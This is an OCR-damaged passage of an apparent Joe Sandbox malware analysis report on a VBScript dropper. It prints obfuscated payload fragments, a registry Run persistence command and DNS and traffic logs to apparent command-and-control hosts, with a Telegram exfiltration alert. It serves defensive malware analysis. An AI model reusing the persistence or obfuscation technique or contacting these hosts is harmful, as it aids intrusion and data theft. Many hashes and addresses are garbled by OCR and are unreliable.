mProperty -Path 'HKCU:\SOFTWARE\AppDataLow\").Premodify;%tullio% ($Sporing21)

20:47:16 Autostart Run: HKCUB4\Software\Microsoft\Windows\CurrentVersion\Run Attractant %tullio% -w 1 $Sporing21=(Get-I
temProperty -Path 'HKCU:\SOFTWARE\AppDatalLow\'). Premodify;%tullio% ($Sporing21)

Joe Sandbox View / Context

IPs
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@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 64

Entropy (8bit):  0.34726597513537405

Encrypted: false

SSDEEP: 3:NIIENII

MD5: 446DD1CF97EABA21CF14D03AEBC79F27

SHA1: 36E4CC7367E0C7B40F4A8ACE272941EA46373799

SHA-256: A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF

SHA-512: A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77DOE7BECD53A7B0106D6EA4368B4C302464E3D941CH
7

Malicious: false

Preview: @ .o Bt

C:\Users\user\AppData\Local\Temp\Bichloride.vbs

Process: C:\Program Files (x86)\Internet Explorer\ieinstal.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 832829

Entropy (8bit):  5.0885712239317815

Encrypted: false

SSDEEP: 12288:¢J17c8WKTCYUZHz+ri3+U1yGgRfEDN5XJakQUEGKkmKs7gPZ8PNMnkbV3Bu5qc:M7/AEi300n5ILsLbVxuN

MD5: 4C8882314A2E1B18655660C964A5EBF6

SHA1: 5FA1E07C13863BEC4C07FFEEE7770D8597ADC3FB

SHA-256: 6C7CC2AFF7208B2C622C28BED2101EC371FAE91B6981568515842B9269DFFDOE

SHA-512: E00575BAB08F2C1AD8942EFAE3ED9AF5ABDD5439493C11987091BCD955942C19ED6C213DE1B1DEA70EF8519BF16996FF4571A3A5B6FD1F4FFC1CC1A61369D!
FF

Malicious: false

Preview: Tr8 =Tr8 & "6wLTqusC"..Tr8 = Tr8 & "JDgB7QADAA"..Tr8 = Tr8 & "BxAZt"..Tr8 = Tr8 & "xAZuL"..Tr8 = Tr8 & "VCQI6wJzbHE"..Tr8 = Tr8 & "Bm4t8JATrA"..Tr8 = Tr8 &

"gkncQG"..Tr8 = Tr8 & "bievrAp"..Tr8 = Tr8 & "kGcQGbg"..Tr8 = Tr8 & "cOCAAAA"..Tr8 = Tr8 & "cQGb6wL"..Tr8 = Tr8 & "I11PrAtYFc"..Tr8 = Tr8 & "QGbak"..Tr8 = Tr8 &
"DrArrE6WIDR"..Tr8 = Tr8 & "HEBm+sC"..Tr8 = Tr8 & "xm6J63"..Tr8 = Tr8 & "EBm+s"..Tr8 = Tr8 & "CUnnHgwABA"..Tr8 = Tr8 & "AAAABAACQG"..Tr8 = Tr8 & "bbwL+"
..Tr8 = Tr8 & "roHDA"..Tr8 = Tr8 & "AEAAQOs"..Tr8 = Tr8 & "C8kBXAZtTcQ"..Tr8 = Tr8 & "Gb6wJIMIn"..Tr8 = Tr8 & "réwLM+esC"..Tr8 = Tr8 & "2EWJu"..Tr8 = Tr8 &
"WQBAAB"..Tr8 = Tr8 & "XxAZvrA"..Tr8 = Tr8 & "vXtgcMEAQAA"..Tr8 = Tr8 & "6wJI5"..Tr8 = Tr8 & "OsCsXIT"..Tr8 = Tr8 & "6WKMRXEB"..Tr8 = Tr8 & "m2r/c"..Tr8 = Tr8 &
"QGbcQ"..Tr8 = Tr8 & "Gbg8I"..Tr8 = Tr8 & "F6wLI"..Tr8 = Tr8 & "73EBmzH"..Tr8 = Tr8 & "2cQGbcQGb"..Tr8 = Tr8 & "McnrAky"..Tr8 = Tr8 & "ZcQGbixr"..Tr8 = Tr8 &
"rAheQ6wWJVEE"..Tr8 = Tr8 & "HrAgPc6wLrc"..Tr8 = Tr8 & "Dk

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2c4howsr.nhi.psm1
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Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: ASCII text, with no line terminators
Category: dropped
Size (bytes): 60

Entropy (8bit): 4.038920595031593

Encrypted: false

SSDEEP: 3:Si2NPgzAYMLAKVpKGOyzKtFS:SngbKAKWGX

MD5: D17FEOA3F47BE24A6453E9EF58C94641

SHAT1: 6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512: 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DECS2
Malicious: false

Preview: # PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5Selcf2ed.d41.ps1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 60

Entropy (8bit):  4.038920595031593

Encrypted: false

SSDEEP: 3:Si2NPgzAYMLAKVpKGOyzKtFS:SngbKAKWGX

MD5: D17FEOA3F47BE24A6453E9EF58C94641

SHA1: 6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512: 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DECS2
Malicious: false

Preview: # PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibfztpdx.ynr.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 60

Entropy (8bit):  4.038920595031593

Encrypted: false

SSDEEP: 3:Si2NPgzAYMLAKVpKGOyzKtFS:SngbKAKWGX

MD5: D17FEO0A3F47BE24A6453E9EF58C9464 1

SHAT: 6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512: 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious: false

Preview: # PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mufoeags.irm.psm1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 60

Entropy (8bit):  4.038920595031593

Encrypted: false

SSDEEP: 3:Si2NPgzAYMLAKVpKGOyzKtFS:SngbKAKWGX

MD5: D17FE0A3F47BE24A6453E9EF58C94641

SHAT: 6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512: 5B592E58F26C264604F98F6AA12860758 CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious: false

Preview: # PowerShell test file to determine AppLocker lockdown mode
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\Device\ConDrv

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit): 3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITQAGRHner

MD5: 9F754B47B351EFOFC32527B541420595

SHA1: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856 DEBSE0878D673079D05840591

SHA-512: C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
Malicious: false

Preview: NordVPN directory not found!..

Static File Info

General

File type: ASCII text, with CRLF line terminators

Entropy (8bit): 5.08517872813569

TriD:

File name: IMG_2022028022-0120.vbs

File size: 837420

MDS5: 752418aa9de96e0fc941ae1e7e33¢906

SHAT: bb67df2d8a4b525b42211630386e4b51a97255a3

SHA256: cdce0391762117cc926a2131b5e0ec7724b69d1224dbabc7a3f351dfebfIb9bf

SHA512: 930b079189279aa377bcadb64471ecd0956522715e89eebc1a818166bbd6d309491ec6bd8714d4cc5db34ca824627b2e087e79f7b1d9ad7033¢38dfd0d56¢3c7
SSDEEP: 12288:56Se0/ZNca+0J/FEituFvSnQ+7XPwVr2rhs+MDRpmrtVUBM/LB2g+ZImPkQN3BSq:EKpfTGVKaQNxSq

TLSH: 1E05A06394151590870DADAE884ADDF8CCA1021EB513241607B0BB7E2F6FS8ES8BDDB5DF

File Content Un9 = Un9 & "cQGbcQGbge0"..Un9 = Un9 & "AAWAAcQGb6W"..Un9 = Un9 & "LhDItUJAjrA"..Un9 = Un9 & "rL/cQGbi3"..Un9 = Un9 & "wkBOsCqLX"..Un9 = Un9 &
Preview: "rAmpUietxAZ"..Un9 = Un9 & "txAZuBw5wAA"..Un9 = Un9 & "ABXAZtx"..Un9 = Un9 & "AZtTc"..Un9 = Un9 & "QGbéwJJP"..Un

File lcon

Icon Hash: e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID Message SiED | e Source IP Dest IP
Port Port

192.168.11.20149.154.16 TCP 285177 ETPRO TROJAN Agent Tesla Telegram Exfil 49881 443 192.168.11.2 149.154.167.

7.220498814432851779 9 0 220

11/28/22-

20:47:47.307107

Network Port Distribution

Total Packets: 63
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TCP Packets

Timestamp

Nov 28, 2022 20:45:13.139298916 CET
Nov 28, 2022 20:45:13.148035049 CET
Nov 28, 2022 20:45:13.148372889 CET
Nov 28, 2022 20:45:13.148950100 CET
Nov 28, 2022 20:45:13.157700062 CET
Nov 28, 2022 20:45:13.298326969 CET
Nov 28, 2022 20:45:13.298404932 CET
Nov 28, 2022 20:45:13.298463106 CET
Nov 28, 2022 20:45:13.298548937 CET
Nov 28, 2022 20:45:13.298604965 CET
Nov 28, 2022 20:45:13.298662901 CET
Nov 28, 2022 20:45:13.298672915 CET
Nov 28, 2022 20:45:13.298722029 CET
Nov 28, 2022 20:45:13.298753977 CET
Nov 28, 2022 20:45:13.298810005 CET
Nov 28, 2022 20:45:13.298831940 CET
Nov 28, 2022 20:45:13.298907042 CET
Nov 28, 2022 20:45:13.298962116 CET
Nov 28, 2022 20:45:13.298998117 CET
Nov 28, 2022 20:45:13.299035072 CET
Nov 28, 2022 20:45:13.299051046 CET
Nov 28, 2022 20:45:13.299118042 CET
Nov 28, 2022 20:45:13.299124002 CET
Nov 28, 2022 20:45:13.299205065 CET
Nov 28, 2022 20:45:13.299315929 CET
Nov 28, 2022 20:45:13.336026907 CET
Nov 28, 2022 20:45:13.336102009 CET
Nov 28, 2022 20:45:13.336159945 CET
Nov 28, 2022 20:45:13.336214066 CET
Nov 28, 2022 20:45:13.336272001 CET
Nov 28, 2022 20:45:13.336381912 CET
Nov 28, 2022 20:45:13.336391926 CET
Nov 28, 2022 20:45:13.336474895 CET
Nov 28, 2022 20:45:13.336536884 CET
Nov 28, 2022 20:45:13.336594105 CET
Nov 28, 2022 20:45:13.336647987 CET
Nov 28, 2022 20:45:13.336703062 CET
Nov 28, 2022 20:45:13.336709976 CET
Nov 28, 2022 20:45:13.336782932 CET
Nov 28, 2022 20:45:13.336816072 CET
Nov 28, 2022 20:45:13.336863041 CET
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® 53 (DNS)
@ 80 (HTTP)

Source Port
49811
80
49811
49811
80

80

80

80

80

80

80
49811
49811
80
49811
80

80

80
49811
80
49811
80
49811
49811
49811
80
80
80
80
80
80
49811
80
80
80
80
80
49811
80
49811
80

Dest Port
80
49811
80

80
49811
49811
49811
49811
49811
49811
49811
80

80
49811
80
49811
49811
49811
80
49811
80
49811
80
80
80
49811
49811
49811
49811
49811
49811
80
49811
49811
49811
49811
49811
80
49811
80
49811

Source IP
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218

Dest IP
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
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Timestamp

Nov 28, 2022 20:45:13.336895943 CET
Nov 28, 2022 20:45:13.336952925 CET
Nov 28, 2022 20:45:13.337018013 CET
Nov 28, 2022 20:45:13.337042093 CET
Nov 28, 2022 20:45:13.337090015 CET
Nov 28, 2022 20:45:13.337107897 CET
Nov 28, 2022 20:45:13.337177038 CET
Nov 28, 2022 20:45:13.337193966 CET
Nov 28, 2022 20:45:13.337253094 CET
Nov 28, 2022 20:45:13.337275982 CET
Nov 28, 2022 20:45:13.337438107 CET
Nov 28, 2022 20:45:13.337439060 CET
Nov 28, 2022 20:45:13.337460041 CET
Nov 28, 2022 20:45:13.337543964 CET
Nov 28, 2022 20:45:13.337605953 CET
Nov 28, 2022 20:45:13.337665081 CET
Nov 28, 2022 20:45:13.337693930 CET
Nov 28, 2022 20:45:13.337734938 CET
Nov 28, 2022 20:45:13.337775946 CET
Nov 28, 2022 20:45:13.337846994 CET
Nov 28, 2022 20:45:13.338020086 CET
Nov 28, 2022 20:45:13.375611067 CET
Nov 28, 2022 20:45:13.375674963 CET
Nov 28, 2022 20:45:13.375912905 CET
Nov 28, 2022 20:45:13.376435995 CET
Nov 28, 2022 20:45:13.376504898 CET
Nov 28, 2022 20:45:13.376560926 CET
Nov 28, 2022 20:45:13.376617908 CET
Nov 28, 2022 20:45:13.376627922 CET
Nov 28, 2022 20:45:13.376687050 CET
Nov 28, 2022 20:45:13.376707077 CET
Nov 28, 2022 20:45:13.376768112 CET
Nov 28, 2022 20:45:13.376789093 CET
Nov 28, 2022 20:45:13.376867056 CET
Nov 28, 2022 20:45:13.376921892 CET
Nov 28, 2022 20:45:13.376956940 CET
Nov 28, 2022 20:45:13.376998901 CET
Nov 28, 2022 20:45:13.377038002 CET
Nov 28, 2022 20:45:13.377080917 CET
Nov 28, 2022 20:45:13.377118111 CET
Nov 28, 2022 20:45:13.377168894 CET
Nov 28, 2022 20:45:13.377234936 CET
Nov 28, 2022 20:45:13.377270937 CET
Nov 28, 2022 20:45:13.377310038 CET
Nov 28, 2022 20:45:13.377326965 CET
Nov 28, 2022 20:45:13.377397060 CET
Nov 28, 2022 20:45:13.377403021 CET
Nov 28, 2022 20:45:13.377477884 CET
Nov 28, 2022 20:45:13.377484083 CET
Nov 28, 2022 20:45:13.377557993 CET
Nov 28, 2022 20:45:13.377583027 CET
Nov 28, 2022 20:45:13.377641916 CET
Nov 28, 2022 20:45:13.377645016 CET
Nov 28, 2022 20:45:13.377722979 CET
Nov 28, 2022 20:45:13.377727032 CET
Nov 28, 2022 20:45:13.377801895 CET
Nov 28, 2022 20:45:13.377808094 CET
Nov 28, 2022 20:45:13.377882004 CET
Nov 28, 2022 20:45:13.377907038 CET
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Source Port
49811
80
80
49811
49811
80
49811
80
49811
80
49811
49811
80

80

80

80
49811
80
49811
49811
49811
80

80
49811
80

80

80

80
49811
49811
80
49811
80

80

80
49811
80
49811
80
49811
80
80
49811
80
49811
80
49811
80
49811
80
49811
80
49811
80
49811
80
49811
80
49811

Dest Port
80
49811
49811
80
80
49811
80
49811
80
49811
80

80
49811
49811
49811
49811
80
49811
80

80

80
49811
49811
80
49811
49811
49811
49811
80

80
49811
80
49811
49811
49811
80
49811
80
49811
80
49811
49811
80
49811
80
49811
80
49811
80
49811
80
49811
80
49811
80
49811
80
49811
80

Source IP
192.168.11.20
172.67.169.218
172.67.169.218
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20

Dest IP
172.67.169.218
192.168.11.20
192.168.11.20
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
172.67.169.218
172.67.169.218
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
192.168.11.20
172.67.169.218
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UDP Packets

Timestamp

Nov 28, 2022 20:45:12.923213005 CET
Nov 28, 2022 20:45:13.115240097 CET
Nov 28, 2022 20:45:16.157552958 CET
Nov 28, 2022 20:45:16.806633949 CET
Nov 28, 2022 20:45:17.799076080 CET
Nov 28, 2022 20:45:17.912461042 CET
Nov 28, 2022 20:45:20.153374910 CET
Nov 28, 2022 20:45:20.169534922 CET
Nov 28, 2022 20:46:20.001605988 CET
Nov 28, 2022 20:46:20.117671967 CET
Nov 28, 2022 20:46:22.374329090 CET
Nov 28, 2022 20:46:22.390732050 CET
Nov 28, 2022 20:47:05.561343908 CET
Nov 28, 2022 20:47:06.608068943 CET
Nov 28, 2022 20:47:23.534564972 CET
Nov 28, 2022 20:47:23.645587921 CET
Nov 28, 2022 20:47:25.891343117 CET
Nov 28, 2022 20:47:25.907448053 CET
Nov 28, 2022 20:47:47.203263998 CET
Nov 28, 2022 20:47:47.212587118 CET
Nov 28, 2022 20:48:28.473647118 CET
Nov 28, 2022 20:48:28.608522892 CET
Nov 28, 2022 20:48:30.845830917 CET
Nov 28, 2022 20:48:30.866609097 CET
Nov 28, 2022 20:49:33.397072077 CET
Nov 28, 2022 20:49:33.510668039 CET
Nov 28, 2022 20:49:35.754528999 CET
Nov 28, 2022 20:49:35.766369104 CET
Nov 28, 2022 20:50:36.851831913 CET
Nov 28, 2022 20:50:36.982223034 CET
Nov 28, 2022 20:50:39.225626945 CET
Nov 28, 2022 20:50:39.238917112 CET
Nov 28, 2022 20:51:36.489748001 CET
Nov 28, 2022 20:51:36.603502989 CET
Nov 28, 2022 20:51:38.846743107 CET
Nov 28, 2022 20:51:38.862339020 CET
Nov 28, 2022 20:52:36.570648909 CET
Nov 28, 2022 20:52:36.688539982 CET
Nov 28, 2022 20:52:39.084089041 CET
Nov 28, 2022 20:52:39.096400976 CET

DNS Queries

Timestamp

Nov 28, 2022 20:45:12.923213005  192.168.11.20

CET

Nov 28, 2022 20:45:16.157552958  192.168.11.20

CET

Nov 28, 2022 20:45:16.806633949  192.168.11.20

CET

Nov 28, 2022 20:45:17.799076080  192.168.11.20

CET

Nov 28, 2022 20:45:20.153374910  192.168.11.20

CET

Nov 28, 2022 20:46:20.001605988  192.168.11.20

CET

Nov 28, 2022 20:46:22.374329090  192.168.11.20

CET

Copyright Joe Security LLC 2022

Source IP

Dest IP

1.1.11

UoUoTal

1.1.11

UoUoTall

1.1.11

UoUoTall

1.1.11

Source Port
54883
53
59807
55932
52051
53
60739
53
61065
53
49583
53
61824
56389
61929
53
51291
53
55362
53
49495
53
54032
53
59515
53
53171
53
50369
53
50320
53
64808
53
63192
53
54569
53
60195
53

Trans ID

0x74b7

0xd31d

0xb0bd

0xddb9

0xf365

0xf425

0x6a53

Dest Port
53
54883
53

53

53
52051
53
60739
53
61065
53
49583
53

53

53
61929
53
51291
53
55362
53
49495
53
54032
53
59515
53
53171
53
50369
53
50320
53
64808
53
63192
53
54569
53
60195

OP Code

Standard query
(0)
Standard query
(0)
Standard query
0)
Standard query
(0)

Standard query
(0)
Standard query
(0)

Standard query
(0)

Source IP

192.168.11.20
1.1.1.1
192.168.11.20
192.168.11.20
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
192.168.11.20
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1
192.168.11.20
1.1.1.1

Name

sinopbisik
letkiralama.com

onedrive.
ive.com

f65keg.am.
files.1drv.com

backupfron
tmanny.duc
kdns.org

myfrontman
nyfive.ddns.net

backupfron
tmanny.duc
kdns.org

myfrontman
nyfive.ddns.net

Type

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Dest IP
11141
192.168.11.20
1.1.141
1.1.141
1.1.141
192.168.11.20
1.1.14
192.168.11.20
1.1.141
192.168.11.20
1.1.14
192.168.11.20
1.1.14
1.1.141
11141
192.168.11.20
1.1.14
192.168.11.20
1.1.14
192.168.11.20
1114
192.168.11.20
1.1.14
192.168.11.20
1.1.14
192.168.11.20
1114
192.168.11.20
1114
192.168.11.20
1114
192.168.11.20
1114
192.168.11.20
1114
192.168.11.20
1114
192.168.11.20
1114

192.168.11.20

Class DNS over
HTTPS
IN (0x0001) false
IN (0x0001) false
IN (0x0001) false
IN (0x0001) false
IN (0x0001) false
IN (0x0001) false
IN (0x0001) false
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DNS over

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class HTTPS
Nov 28, 2022 20:47:05.561343908  192.168.11.20 1.1.11 Oxfadb Standard query  onedrive.l A (IP address) IN (0x0001) false
CET (0) ive.com
Nov 28, 2022 20:47:06.608068943  192.168.11.20 1.1.11 0x5011 Standard query  f64ngg.am. A (IP address) IN (0x0001) false
CET (0) files.1drv.com
Nov 28, 2022 20:47:23.534564972  192.168.11.20 1.1.11 0xe2f0 Standard query  backupfron A (IP address) IN (0x0001) false
CET (0) tmanny.duc

kdns.org
Nov 28, 2022 20:47:25.891343117  192.168.11.20 1.1.11 0xa39d Standard query  myfrontman A (IP address) IN (0x0001) false
CET (0) nyfive.ddns.net
Nov 28, 2022 20:47:47.203263998  192.168.11.20 1.1.11 0x54dc Standard query  api.telegram.org A (IP address) IN (0x0001) false
CET (0)
Nov 28, 2022 20:48:28.473647118  192.168.11.20 1.1.141 0xbbf9 Standard query  backupfron A (IP address) IN (0x0001) false
CET (0) tmanny.duc

kdns.org
Nov 28, 2022 20:48:30.845830917  192.168.11.20 1.1.141 0xdc6b Standard query  myfrontman A (IP address) IN (0x0001) false
CET (0) nyfive.ddns.net
Nov 28, 2022 20:49:33.397072077  192.168.11.20 1.1.141 0xa92e Standard query  backupfron A (IP address) IN (0x0001) false
CET (0) tmanny.duc

kdns.org
Nov 28, 2022 20:49:35.754528999  192.168.11.20 1.1.141 0x66f3 Standard query  myfrontman A (IP address) IN (0x0001) false
CET (0) nyfive.ddns.net
Nov 28, 2022 20:50:36.851831913  192.168.11.20 1.1.141 0x912a Standard query  backupfron A (IP address) IN (0x0001) false
CET (0) tmanny.duc

kdns.org
Nov 28, 2022 20:50:39.225626945  192.168.11.20 1.1.14 0x2109 Standard query  myfrontman A (IP address) IN (0x0001) false
CET (0) nyfive.ddns.net
Nov 28, 2022 20:51:36.489748001  192.168.11.20 1.1.14 0x8d94 Standard query  backupfron A (IP address) IN (0x0001) false
CET (0) tmanny.duc

kdns.org
Nov 28, 2022 20:51:38.846743107  192.168.11.20 1.1.14 Oxd5da Standard query  myfrontman A (IP address) IN (0x0001) false
CET (0) nyfive.ddns.net
Nov 28, 2022 20:52:36.570648909  192.168.11.20 1.1.14 0x4d71 Standard query  backupfron A (IP address) IN (0x0001) false
CET (0) tmanny.duc

kdns.org
Nov 28, 2022 20:52:39.084089041  192.168.11.20 1.1.14 0x7cbe Standard query  myfrontman A (IP address) IN (0x0001) false
CET (0) nyfive.ddns.net
DNS Answers

. DNS over

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class HTTPS
Nov 28, 2022 1.1.11 192.168.11.20 0x74b7 No error (0) sinopbisik 172.67.169.21 A (IP address) IN false
20:45:13.115240097 letkiralam 8 (0x0001)
CET a.com
Nov 28, 2022 1.1.1.1 192.168.11.20 0x74b7 No error (0) sinopbisik 104.21.95.74 A (IP address) IN false
20:45:13.115240097 letkiralam (0x0001)
CET a.com
Nov 28, 2022 1111 192.168.11.20 0xd31d No error (0) onedrive.l odc-web- CNAME IN false
20:45:16.167279005 ive.com geo.onedrive.a (Canonical (0x0001)
CET kadns.net name)
Nov 28, 2022 UoTotol 192.168.11.20  OxbObd No error (0) f65keg.am. am- CNAME IN false
20:45:16.870518923 files.1drv.com files.fe.1drv.co (Canonical (0x0001)
CET m name)
Nov 28, 2022 11141 192.168.11.20  0xbObd No error (0) am-files.f odc-am-files- CNAME IN false
20:45:16.870518923 e.1drv.com geo.onedrive.a (Canonical (0x0001)
CET kadns.net name)
Nov 28, 2022 11141 192.168.11.20 0Oxddb9 No error (0) backupfron 84.38.134.104 A (IP address) IN false
20:45:17.912461042 tmanny.duc (0x0001)
CET kdns.org
Nov 28, 2022 1114 192.168.11.20  0xf365 No error (0) myfrontman 37.0.14.209 A (IP address) IN false
20:45:20.169534922 nyfive.ddns.net (0x0001)
CET
Nov 28, 2022 1111 192.168.11.20  0xf425 No error (0) backupfron 84.38.134.104 A (IP address) IN false
20:46:20.117671967 tmanny.duc (0x0001)
CET kdns.org
Nov 28, 2022 1114 192.168.11.20 0x6a53 No error (0) myfrontman 37.0.14.209 A (IP address) IN false
20:46:22.390732050 nyfive.ddns.net (0x0001)
CET
Nov 28, 2022 1114 192.168.11.20 Oxfadb No error (0) onedrive.| odc-web- CNAME IN false
20:47:05.572294950 ive.com geo.onedrive.a (Canonical (0x0001)
CET kadns.net name)
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DNS over

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class HTTPS
Nov 28, 2022 1.1.14 192.168.11.20 0x5011 No error (0) f64nqgg.am. am- CNAME IN false
20:47:06.684719086 files.1drv.com files.fe.1drv.co (Canonical (0x0001)

CET m name)

Nov 28, 2022 1114 192.168.11.20 0x5011 No error (0) am-files.f odc-am-files- CNAME IN false
20:47:06.684719086 e.1drv.com geo.onedrive.a (Canonical (0x0001)

CET kadns.net name)

Nov 28, 2022 1.1.14 192.168.11.20  0xe2f0 No error (0) backupfron 84.38.134.104 A (IP address) IN false
20:47:23.645587921 tmanny.duc (0x0001)

CET kdns.org

Nov 28, 2022 1.1.14 192.168.11.20 0xa39d No error (0) myfrontman 37.0.14.209 A (IP address) IN false
20:47:25.907448053 nyfive.ddns.net (0x0001)

CET

Nov 28, 2022 1114 192.168.11.20 0x54dc No error (0) api.telegr 149.154.167.2 A (IP address) IN false
20:47:47.212587118 am.org 20 (0x0001)

CET

Nov 28, 2022 1.1.1.1 192.168.11.20  Oxbbf9 No error (0) backupfron 84.38.134.104 A (IP address) IN false
20:48:28.608522892 tmanny.duc (0x0001)

CET kdns.org

Nov 28, 2022 1111 192.168.11.20  Oxdcéb No error (0) myfrontman 37.0.14.209 A (IP address) IN false
20:48:30.866609097 nyfive.ddns.net (0x0001)

CET

Nov 28, 2022 1.1.141 192.168.11.20 0xa92e No error (0) backupfron 84.38.134.104 A (IP address) IN false
20:49:33.510668039 tmanny.duc (0x0001)

CET kdns.org

Nov 28, 2022 1.1.1.1 192.168.11.20  0x66f3 No error (0) myfrontman 37.0.14.209 A (IP address) IN false
20:49:35.766369104 nyfive.ddns.net (0x0001)

CET

Nov 28, 2022 1.1.1.1 192.168.11.20 0x912a No error (0) backupfron 84.38.134.104 A (IP address) IN false
20:50:36.982223034 tmanny.duc (0x0001)

